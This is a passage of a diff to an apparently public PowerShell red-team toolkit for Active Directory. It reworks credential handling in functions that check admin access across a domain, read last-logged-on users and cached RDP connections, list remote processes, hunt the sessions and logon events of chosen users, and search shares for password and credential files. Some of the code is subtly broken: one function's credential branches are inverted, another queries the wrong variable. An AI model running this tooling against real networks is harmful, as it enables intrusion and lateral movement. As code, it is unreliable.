$WTS_CLIENT_ADDRESS - $SourceIP = $Info2.Address - if($SourceIP[2] -ne 0) { - $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] - } - else { - $SourceIP = $Null - } + $SourceIP = $Info2.Address + if($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } - $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP - $RDPSession + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession - # free up the memory buffer - $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) - $Offset += $Increment - } - # free up the memory result buffer - $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) + $Offset += $Increment } - # Close off the service handle - $Null = $Wtsapi32::WTSCloseServer($Handle) - } - else { - # otherwise it failed - get the last error - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Verbuse "LastError: $Err" + # free up the memory result buffer + $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) } + # Close off the service handle + $Null = $Wtsapi32::WTSCloseServer($Handle) + } + else { + # otherwise it failed - get the last error + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Verbuse "LastError: $Err" } } -function Invoke-CheckLocalAdminAccess { +filter Invoke-CheckLocalAdminAccess { <# .SYNOPSIS @@ -6890,6 +7243,12 @@ function Invoke-CheckLocalAdminAccess { Returns active sessions on the local host. + .EXAMPLE + + PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess + + Sees what machines in the domain the current user has access to. + .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb @@ -6899,46 +7258,43 @@ function Invoke-CheckLocalAdminAccess { [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] - [String] [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost' ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F) - # 0xF003F - SC_MANAGER_ALL_ACCESS - # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - $Handle = $Advapi32::OpenSCManagerW("\\$ComputerName", 'ServicesActive', 0xF003F) + Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle" - Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle" + $IsAdmin = New-Object PSObject + $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer - # if we get a non-zero handle back, everything was successful - if ($Handle -ne 0) { - # Close off the service handle - $Null = $Advapi32::CloseServiceHandle($Handle) - $True - } - else { - # otherwise it failed - get the last error - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err" - $False - } + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + # Close off the service handle + $Null = $Advapi32::CloseServiceHandle($Handle) + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True + } + else { + # otherwise it failed - get the last error + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err" + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False } + + $IsAdmin } -function Get-LastLoggedOn { +filter Get-LastLoggedOn { <# .SYNOPSIS @@ -6953,6 +7309,10 @@ function Get-LastLoggedOn { The hostname to query for the last logged on user. Defaults to the localhost. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object for the remote connection. + .EXAMPLE PS C:\> Get-LastLoggedOn @@ -6964,38 +7324,58 @@ function Get-LastLoggedOn { PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1 Returns the last user logged onto WINDOWS1 + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-LastLoggedOn + + Returns the last user logged onto all machines in the domain. #> [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] - [String] - [Alias('HostName')] - $ComputerName = "." + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + $Credential ) - process { + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # HKEY_LOCAL_MACHINE + $HKLM = 2147483650 - # try to open up the remote registry key to grab the last logged on user - try { - $Reg = [WMIClass]"\\$ComputerName\root\default:stdRegProv" - $HKLM = 2147483650 - $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" - $Value = "LastLoggedOnUser" - $Reg.GetStringValue($HKLM, $Key, $Value).sValue + # try to open up the remote registry key to grab the last logged on user + try { + + if($Credential) { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue } - catch { - Write-Warning "[!] Error opening remote registry on $ComputerName. Remote registry likely not enabled." - $Null + else { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue } + + $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" + $Value = "LastLoggedOnUser" + $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue + + $LastLoggedOn = New-Object PSObject + $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser + $LastLoggedOn + } + catch { + Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled." } } -function Get-CachedRDPConnection { +filter Get-CachedRDPConnection { <# .SYNOPSIS @@ -7011,14 +7391,9 @@ function Get-CachedRDPConnection { The hostname to query for RDP client information. Defaults to localhost. - .PARAMETER RemoteUserName - - The "domain\username" to use for the WMI call on the remote system. - If supplied, 'RemotePassword' must be supplied as well. - - .PARAMETER RemotePassword + .PARAMETER Credential - The password to use for the WMI call on a remote system. + A [Management.Automation.PSCredential] object for the remote connection. .EXAMPLE @@ -7034,105 +7409,99 @@ function Get-CachedRDPConnection { .EXAMPLE - PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -RemoteUserName DOMAIN\user -RemotePassword Password123! + PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials. + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-CachedRDPConnection + + Get cached RDP information for all machines in the domain. #> [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] - [String] - $ComputerName = "localhost", - - [String] - $RemoteUserName, + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', - [String] - $RemotePassword + [Management.Automation.PSCredential] + $Credential ) - begin { - if ($RemoteUserName -and $RemotePassword) { - $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force - $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) - } - - # HKEY_USERS - $HKU = 2147483651 - } - - process { + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - try { - if($Credential) { - $Reg = Get-Wmiobject -List 'StdRegProv' -Namespace root\default -Computername $ComputerName -Credential $Credential -ErrorAction SilentlyContinue - } - else { - $Reg = Get-Wmiobject -List 'StdRegProv' -Namespace root\default -Computername $ComputerName -ErrorAction SilentlyContinue - } - } - catch { - Write-Warning "Error accessing $ComputerName, likely insufficient permissions or firewall rules on host" - } + # HKEY_USERS + $HKU = 2147483651 - if(!$Reg) { - Write-Warning "Error accessing $ComputerName, likely insufficient permissions or firewall rules on host" + try { + if($Credential) { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue } else { - # extract out the SIDs of domain users in this hive - $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - - foreach ($UserSID in $UserSIDs) { - - try { - $UserName = Convert-SidToName $UserSID + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue + } - # pull out all the cached RDP connections - $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - foreach ($Connection in $ConnectionKeys) { - # make sure this key is a cached connection - if($Connection -match 'MRU.*') { - $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue - - $FoundConnection = New-Object PSObject - $FoundConnection | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundConnection | Add-Member Noteproperty 'UserName' $UserName - $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID - $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer - $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null - $FoundConnection - } - } + foreach ($UserSID in $UserSIDs) { - # pull out all the cached server info with username hints - $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + try { + $UserName = Convert-SidToName $UserSID - foreach ($Server in $ServerKeys) { + # pull out all the cached RDP connections + $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames - $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue + foreach ($Connection in $ConnectionKeys) { + # make sure this key is a cached connection + if($Connection -match 'MRU.*') { + $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue $FoundConnection = New-Object PSObject - $FoundConnection | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID - $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server - $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint - $FoundConnection + $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null + $FoundConnection } - } - catch { - Write-Debug "Error: $_" + + # pull out all the cached server info with username hints + $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + + foreach ($Server in $ServerKeys) { + + $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint + $FoundConnection } + + } + catch { + Write-Debug "Error: $_" } } + + } + catch { + Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" } } -function Get-NetProcess { +filter Get-NetProcess { <# .SYNOPSIS @@ -7142,14 +7511,9 @@ function Get-NetProcess { The hostname to query processes. Defaults to the local host name. - .PARAMETER RemoteUserName - - The "domain\username" to use for the WMI call on a remote system. - If supplied, 'RemotePassword' must be supplied as well. - - .PARAMETER RemotePassword + .PARAMETER Credential - The password to use for the WMI call on a remote system. + A [Management.Automation.PSCredential] object for the remote connection. .EXAMPLE @@ -7161,74 +7525,40 @@ function Get-NetProcess { [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] - [String] - $ComputerName, - - [String] - $RemoteUserName, + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = [System.Net.Dns]::GetHostName(), - [String] - $RemotePassword + [Management.Automation.PSCredential] + $Credential ) - process { - - if($ComputerName) { - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + try { + if($Credential) { + $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential } else { - # default to the local hostname - $ComputerName = [System.Net.Dns]::GetHostName() + $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName } - $Credential = $Null - - if($RemoteUserName) { - if($RemotePassword) { - $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force - $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) - - # try to enumerate the processes on the remote machine using the supplied credential - try { - Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential | ForEach-Object { - $Owner = $_.getowner(); - $Process = New-Object PSObject - $Process | Add-Member Noteproperty 'ComputerName' $ComputerName - $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName - $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID - $Process | Add-Member Noteproperty 'Domain' $Owner.Domain - $Process | Add-Member Noteproperty 'User' $Owner.User - $Process - } - } - catch { - Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" - } - } - else { - Write-Warning "[!] RemotePassword must also be supplied!" - } - } - else { - # try to enumerate the processes on the remote machine - try { - Get-WMIobject -Class Win32_process -ComputerName $ComputerName | ForEach-Object { - $Owner = $_.getowner(); - $Process = New-Object PSObject - $Process | Add-Member Noteproperty 'ComputerName' $ComputerName - $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName - $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID - $Process | Add-Member Noteproperty 'Domain' $Owner.Domain - $Process | Add-Member Noteproperty 'User' $Owner.User - $Process - } - } - catch { - Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" - } + $Processes | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $Computer + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process } } + catch { + Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_" + } } @@ -7289,10 +7619,6 @@ function Find-InterestingFile { Switch. Mount target remote path with temporary PSDrives. - .PARAMETER Credential - - Credential to use to mount the PSDrive for searching. - .OUTPUTS The full path, owner, lastaccess time, lastwrite time, and size for each found file. @@ -7323,15 +7649,15 @@ function Find-InterestingFile { http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ #> - - [CmdletBinding()] + param( [Parameter(ValueFromPipeline=$True)] [String] $Path = '.\', + [Alias('Terms')] [String[]] - $Terms, + $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'), [Switch] $OfficeDocs, @@ -7361,35 +7687,19 @@ function Find-InterestingFile { $OutFile, [Switch] - $UsePSDrive, - - [System.Management.Automation.PSCredential] - $Credential = [System.Management.Automation.PSCredential]::Empty + $UsePSDrive ) begin { - # default search terms - $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config') - if(!$Path.EndsWith('\')) { - $Path = $Path + '\' - } - if($Credential -ne [System.Management.Automation.PSCredential]::Empty) { $UsePSDrive = $True } + $Path += if(!$Path.EndsWith('\')) {"\"} - # check if custom search terms were passed - if ($Terms) { - if($Terms -isnot [system.array]) { - $Terms = @($Terms) - } - $SearchTerms = $Terms + if ($Credential) { + $UsePSDrive = $True } - if(-not $SearchTerms[0].startswith("*")) { - # append wildcards to the front and back of all search terms - for ($i = 0; $i -lt $SearchTerms.Count; $i++) { - $SearchTerms[$i] = "*$($SearchTerms[$i])*" - } - } + # append wildcards to the front and back of all search terms + $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} } # search just for office documents if specified if ($OfficeDocs) { @@ -7399,29 +7709,31 @@ function Find-InterestingFile { # find .exe's accessed within the last 7 days if($FreshEXEs) { # get an access time limit of 7 days ago - $LastAccessTime = (get-date).AddDays(-7).ToString('MM/dd/yyyy') + $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') $SearchTerms = '*.exe' } if($UsePSDrive) { # if we're PSDrives, create a temporary mount point + $Parts = $Path.split('\') $FolderPath = $Parts[0..($Parts.length-2)] -join '\' $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - Write-Verbose "Mounting path $Path using a temp PSDrive at $RandDrive" + Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive" try { - $Null = New-PSDrive -Name $RandDrive -Credential $Credential -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { - Write-Debug "Error mounting path $Path : $_" + Write-Debug "Error mounting path '$Path' : $_" return $Null } # so we can cd/dir the new drive - $Path = $RandDrive + ":\" + $FilePath + $Path = "${RandDrive}:\${FilePath}" } } @@ -7475,7 +7787,7 @@ function Find-InterestingFile { end { if($UsePSDrive -and $RandDrive) { Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } } @@ -7504,6 +7816,7 @@ function Invoke-ThreadedFunction { $ScriptParameters, [Int] + [ValidateRange(1,100)] $Threads = 20, [Switch] @@ -7898,8 +8211,8 @@ function Invoke-UserHunter { [Switch] $ForeignUsers, - [ValidateRange(1,100)] [Int] + [ValidateRange(1,100)] $Threads ) @@ -8103,12 +8416,12 @@ function Invoke-UserHunter { $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { - $IP = Get-IPAddress -ComputerName $ComputerName + $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress $FoundUser = New-Object PSObject $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain $FoundUser | Add-Member Noteproperty 'UserName' $UserName $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IP' $IP + $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName # see if we're checking to see if we have local admin access on this machine @@ -8148,12 +8461,12 @@ function Invoke-UserHunter { } } if($Proceed) { - $IP = Get-IPAddress -ComputerName $ComputerName + $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress $FoundUser = New-Object PSObject $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain $FoundUser | Add-Member Noteproperty 'UserName' $UserName $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IP' $IP + $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null # see if we're checking to see if we have local admin access on this machine @@ -8353,15 +8666,6 @@ function Invoke-ProcessHunter { File of usernames to search for. - .PARAMETER RemoteUserName - - The "domain\username" to use for the WMI call on a remote system. - If supplied, 'RemotePassword' must be supplied as well. - - .PARAMETER RemotePassword - - The password to use for the WMI call on a remote system. - .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user/process. @@ -8399,6 +8703,11 @@ function Invoke-ProcessHunter { The maximum concurrent threads to execute. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target machine/domain. + .EXAMPLE PS C:\> Invoke-ProcessHunter -Domain 'testing' @@ -8472,12 +8781,6 @@ function Invoke-ProcessHunter { [String] $UserFile, - [String] - $RemoteUserName, - - [String] - $RemotePassword, - [Switch] $StopOnSuccess, @@ -8504,7 +8807,10 @@ function Invoke-ProcessHunter { [ValidateRange(1,100)] [Int] - $Threads + $Threads, + + [Management.Automation.PSCredential] + $Credential ) begin { @@ -8537,16 +8843,16 @@ function Invoke-ProcessHunter { } elseif($SearchForest) { # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name } } else { # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) + $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name ) } ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath } # remove any null target hosts, uniquify the list and shuffle it @@ -8587,7 +8893,7 @@ function Invoke-ProcessHunter { elseif($UserADSpath -or $UserFilter) { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { $_.samaccountname } | Where-Object {$_} } @@ -8595,7 +8901,7 @@ function Invoke-ProcessHunter { else { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController| Foreach-Object { + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| Foreach-Object { $_.MemberName } } @@ -8608,7 +8914,7 @@ function Invoke-ProcessHunter { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword) + param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential) # optionally check if the server is up first $Up = $True @@ -8618,12 +8924,7 @@ function Invoke-ProcessHunter { if($Up) { # try to enumerate all active processes on the remote host # and search for a specific process name - if($RemoteUserName -and $RemotePassword) { - $Processes = Get-NetProcess -RemoteUserName $RemoteUserName -RemotePassword $RemotePassword -ComputerName $ComputerName -ErrorAction SilentlyContinue - } - else { - $Processes = Get-NetProcess -ComputerName $ComputerName -ErrorAction SilentlyContinue - } + $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue ForEach ($Process in $Processes) { # if we're hunting for a process name or comma-separated names @@ -8654,8 +8955,7 @@ function Invoke-ProcessHunter { 'Ping' = $(-not $NoPing) 'ProcessName' = $ProcessName 'TargetUsers' = $TargetUsers - 'RemoteUserName' = $RemoteUserName - 'RemotePassword' = $RemotePassword + 'Credential' = $Credential } # kick off the threaded script block + arguments @@ -8680,7 +8980,7 @@ function Invoke-ProcessHunter { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential $Result if($Result -and $StopOnSuccess) { @@ -8689,7 +8989,6 @@ function Invoke-ProcessHunter { } } } - } } @@ -8775,6 +9074,11 @@ function Invoke-EventHunter { The maximum concurrent threads to execute. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Invoke-EventHunter @@ -8835,7 +9139,10 @@ function Invoke-EventHunter { [ValidateRange(1,100)] [Int] - $Threads + $Threads, + + [Management.Automation.PSCredential] + $Credential ) begin { @@ -8858,7 +9165,7 @@ function Invoke-EventHunter { } else { # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) + $TargetDomains = @( (Get-NetDomain -Credential $Credential).name ) } ##################################################### @@ -8876,7 +9183,7 @@ function Invoke-EventHunter { [array]$ComputerName = @() ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath } } else { @@ -8884,7 +9191,7 @@ function Invoke-EventHunter { [array]$ComputerName = @() ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for domain controllers" - $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} + $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname} } } @@ -8923,7 +9230,7 @@ function Invoke-EventHunter { elseif($UserADSpath -or $UserFilter) { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { $_.samaccountname } | Where-Object {$_} } @@ -8931,7 +9238,7 @@ function Invoke-EventHunter { else { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController | Foreach-Object { + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | Foreach-Object { $_.MemberName } } @@ -8943,7 +9250,7 @@ function Invoke-EventHunter { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $TargetUsers, $SearchDays) + param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential) # optionally check if the server is up first $Up = $True @@ -8951,10 +9258,18 @@ function Invoke-EventHunter { $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName } if($Up) { - # try to enumerate - Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { - # filter for the target user set - $TargetUsers -contains $_.UserName + # try to enumerate + if($Credential) { + Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + # filter for the target user set + $TargetUsers -contains $_.UserName + } + } + else { + Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + # filter for the target user set + $TargetUsers -contains $_.UserName + } } } } @@ -8971,6 +9286,7 @@ function Invoke-EventHunter { 'Ping' = $(-not $NoPing) 'TargetUsers' = $TargetUsers 'SearchDays' = $SearchDays + 'Credential' = $Credential } # kick off the threaded script block + arguments @@ -8995,7 +9311,7 @@ function Invoke-EventHunter { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential } } @@ -9448,10 +9764,6 @@ function Invoke-FileFinder { Switch. Mount target remote path with temporary PSDrives. - .PARAMETER Credential - - Credential to use to mount the PSDrive for searching. - .EXAMPLE PS C:\> Invoke-FileFinder @@ -9514,8 +9826,9 @@ function Invoke-FileFinder { [Switch] $FreshEXEs, + [Alias('Terms')] [String[]] - $Terms, + $SearchTerms, [ValidateScript({Test-Path -Path $_ })] [String] @@ -9577,10 +9890,7 @@ function Invoke-FileFinder { $Threads, [Switch] - $UsePSDrive, - - [System.Management.Automation.PSCredential] - $Credential = [System.Management.Automation.PSCredential]::Empty + $UsePSDrive ) begin { @@ -9626,7 +9936,7 @@ function Invoke-FileFinder { if ($TermList) { ForEach ($Term in Get-Content -Path $TermList) { if (($Term -ne $Null) -and ($Term.trim() -ne '')) { - $Terms += $Term + $SearchTerms += $Term } } } @@ -9667,9 